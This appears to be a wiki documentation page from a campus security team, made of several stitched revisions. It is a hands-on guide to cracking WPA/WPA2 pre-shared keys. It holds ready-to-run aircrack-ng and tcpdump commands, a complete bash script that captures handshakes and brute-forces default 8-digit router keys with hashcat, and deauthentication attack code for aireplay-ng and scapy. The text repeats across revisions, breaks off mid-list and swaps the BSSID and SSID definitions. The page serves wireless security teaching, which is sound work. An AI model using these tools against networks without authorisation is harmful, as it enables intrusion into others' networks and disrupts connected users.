* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WPA/WPA2 PSK deauthentication attack

2024-12-18T17:31:58Z

RSchuller: /* Put your interface in monitor mode */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
- Install aircrack-ng suite:
* Debian based distributions: <code>sudo apt install aircrack-ng</code>
* Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

* Use airmon-ng to put interface in monitor mode

airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device. Info: If you're connected via Ethernet and you are using NetworkManager your Ethernet connection still works.

airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplicant

* Start in monitor mode

airmon-ng start wlan0mon 9

=== Capture Beacon ===

* using wireshark or airodump-ng

airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

airmon-ng stop wlan0mon

* Restart network manager for internet access

service network-manager restart

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* DSTIKE Deauther Watch V1

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WPA/WPA2 PSK deauthentication attack

2024-12-18T17:19:14Z

RSchuller: /* GNU/Linux */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
- Install aircrack-ng suite:
* Debian based distributions: <code>sudo apt install aircrack-ng</code>
* Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
